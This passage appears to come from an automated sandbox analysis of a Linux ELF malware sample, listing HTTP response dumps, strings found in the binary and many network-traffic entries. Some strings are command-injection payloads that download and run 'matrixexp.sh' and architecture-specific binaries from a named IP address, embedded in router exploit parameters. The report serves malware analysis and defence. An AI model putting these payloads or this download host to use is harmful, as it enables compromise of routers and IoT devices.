77 3a 20 30 20 30 20 31 65 78 20 23 33 33 66 66 33 33 2c 20 30 20 30 20 32 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 38 29 3b 0d 0a 7d 0d 0a 0d 0a 2e 6e 6f 69 73 65 20 7b 0d 0a 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 77 69 64 74 68 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Thu, 21 Mar 2024 04:23:40 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 21 Mar 2024 04:23:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 72(HML),I310Q/Qp/K&T$dCAfAyyyzzJaC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 08:23:43 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 08:23:43 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Source: AFWaD3vnqR.elf	String found in binary or memory: http://109.205.214.35/arm7;chmod
Source: AFWaD3vnqR.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh
Source: AFWaD3vnqR.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$
Source: AFWaD3vnqR.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=1039230
Source: AFWaD3vnqR.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_
Source: AFWaD3vnqR.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh;
Source: AFWaD3vnqR.elf	String found in binary or memory: http://109.205.214.35/mips
Source: AFWaD3vnqR.elf	String found in binary or memory: http://109.205.214.35/mips;
Source: AFWaD3vnqR.elf	String found in binary or memory: http://109.205.214.35/mpsl;chmod
Source: AFWaD3vnqR.elf	String found in binary or memory: http://109.205.214.35/x86
Source: AFWaD3vnqR.elf, 5446.1.00007ffd8cc58000.00007ffd8cc79000.rw-.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpan
Source: AFWaD3vnqR.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: AFWaD3vnqR.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: AFWaD3vnqR.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 57084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50736
Source: unknown	Network traffic detected: HTTP traffic on port 43354 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37760
Source: unknown	Network traffic detected: HTTP traffic on port 35172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38610
Source: unknown	Network traffic detected: HTTP traffic on port 39374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36432
Source: unknown	Network traffic detected: HTTP traffic on port 56434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39942
Source: unknown	Network traffic detected: HTTP traffic on port 47430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57376
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34250
Source: unknown	Network traffic detected: HTTP traffic on port 54654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40924
Source: unknown	Network traffic detected: HTTP traffic on port 44680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52918
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48402
Source: unknown	Network traffic detected: HTTP traffic on port 52186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50744
Source: unknown	Network traffic detected: HTTP traffic on port 58844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48880
Source: unknown	Network traffic detected: HTTP traffic on port 34488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43190
Source: unknown	Network traffic detected: HTTP traffic on port 37238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38600
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60540
Source: unknown	Network traffic detected: HTTP traffic on port 55464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33390
Source: unknown	Network traffic detected: HTTP traffic on port 60082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 57416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45366
Source: unknown	Network traffic detected: HTTP traffic on port 43182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 38610 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40906
Source: unknown	Network traffic detected: HTTP traffic on port 36154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51600
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37742
Source: unknown	Network traffic detected: HTTP traffic on port 35504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36888
Source: unknown	Network traffic detected: HTTP traffic on port 56376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44026
Source: unknown	Network traffic detected: HTTP traffic on port 60368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48866
Source: unknown	Network traffic detected: HTTP traffic on port 40752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45358
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48864
Source: unknown	Network traffic detected: HTTP traffic on port 46804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45354
Source: unknown	Network traffic detected: HTTP traffic on port 57874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43176
Source: unknown	Network traffic detected: HTTP traffic on port 33838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36400
Source: unknown	Network traffic detected: HTTP traffic on port 54482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56074
Source: unknown	Network traffic detected: HTTP traffic on port 45076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 55980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46678
Source: unknown	Network traffic detected: HTTP traffic on port 51962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47524
Source: unknown	Network traffic detected: HTTP traffic on port 37112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49300
Source: unknown	Network traffic detected: HTTP traffic on port 48792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39986
Source: unknown	Network traffic detected: HTTP traffic on port 35262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55150
Source: unknown	Network traffic detected: HTTP traffic on port 51478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50700
Source: unknown	Network traffic detected: HTTP traffic on port 47192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46264
Source: unknown	Network traffic detected: HTTP traffic on port 55828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47590
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37792
Source: unknown	Network traffic detected: HTTP traffic on port 58238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44082
Source: unknown	Network traffic detected: HTTP traffic on port 52792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55158
Source: unknown	Network traffic detected: HTTP traffic on port 51286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60982
Source: unknown	Network traffic detected: HTTP traffic on port 34718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34284
Source: unknown	Network traffic detected: HTTP traffic on port 56618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47104
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44072
Source: unknown	Network traffic detected: HTTP traffic on port 37926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37786
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34278
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39958
Source: unknown	Network traffic detected: HTTP traffic on port 43882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48428
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48426
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48422
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47574
Source: unknown	Network traffic detected: HTTP traffic on port 40796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47570
Source: unknown	Network traffic detected: HTTP traffic on port 49300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36440
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35598
Source: unknown	Network traffic detected: HTTP traffic on port 48940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35594
Source: unknown	Network traffic detected: HTTP traffic on port 33576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34260
Source: unknown	Network traffic detected: HTTP traffic on port 34284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40930
Source: unknown	Network traffic detected: HTTP traffic on port 38138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32902
Source: unknown	Network traffic detected: HTTP traffic on port 55432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39542
Source: unknown	Network traffic detected: HTTP traffic on port 54462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52510
Source: unknown	Network traffic detected: HTTP traffic on port 54032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53858
Source: unknown	Network traffic detected: HTTP traffic on port 48976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48486
Source: unknown	Network traffic detected: HTTP traffic on port 46714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52522
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40512
Source: unknown	Network traffic detected: HTTP traffic on port 49660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50358
Source: unknown	Network traffic detected: HTTP traffic on port 39026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60160
Source: unknown	Network traffic detected: HTTP traffic on port 58778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51682
Source: unknown	Network traffic detected: HTTP traffic on port 60708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52532
Source: unknown	Network traffic detected: HTTP traffic on port 57252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51202
Source: unknown	Network traffic detected: HTTP traffic on port 42748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60156
Source: unknown	Network traffic detected: HTTP traffic on port 46078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46288
Source: unknown	Network traffic detected: HTTP traffic on port 44516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46284
Source: unknown	Network traffic detected: HTTP traffic on port 52194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49308
Source: unknown	Network traffic detected: HTTP traffic on port 40084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50776
Source: unknown	Network traffic detected: HTTP traffic on port 55502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32944
Source: unknown	Network traffic detected: HTTP traffic on port 60090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51620
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56088
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56084
Source: unknown	Network traffic detected: HTTP traffic on port 60184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44920
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58260
Source: unknown	Network traffic detected: HTTP traffic on port 56986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60578
Source: unknown	Network traffic detected: HTTP traffic on port 46722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36060
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49374
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50782
Source: unknown	Network traffic detected: HTTP traffic on port 45244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51632
Source: unknown	Network traffic detected: HTTP traffic on port 35082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60100
Source: unknown	Network traffic detected: HTTP traffic on port 33318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41404
Source: unknown	Network traffic detected: HTTP traffic on port 45698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42734
Source: unknown	Network traffic detected: HTTP traffic on port 35422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60104
Source: unknown	Network traffic detected: HTTP traffic on port 36186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49366
Source: unknown	Network traffic detected: HTTP traffic on port 52408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36050
Source: unknown	Network traffic detected: HTTP traffic on port 36060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37386
Source: unknown	Network traffic detected: HTTP traffic on port 53640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49360
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36058
Source: unknown	Network traffic detected: HTTP traffic on port 45768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60112
Source: unknown	Network traffic detected: HTTP traffic on port 47700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44900
Source: unknown	Network traffic detected: HTTP traffic on port 57220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48028
Source: unknown	Network traffic detected: HTTP traffic on port 41980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38220
Source: unknown	Network traffic detected: HTTP traffic on port 32794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52982
Source: unknown	Network traffic detected: HTTP traffic on port 55370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40538
Source: unknown	Network traffic detected: HTTP traffic on port 60860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42714
Source: unknown	Network traffic detected: HTTP traffic on port 45200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35516 -> 443
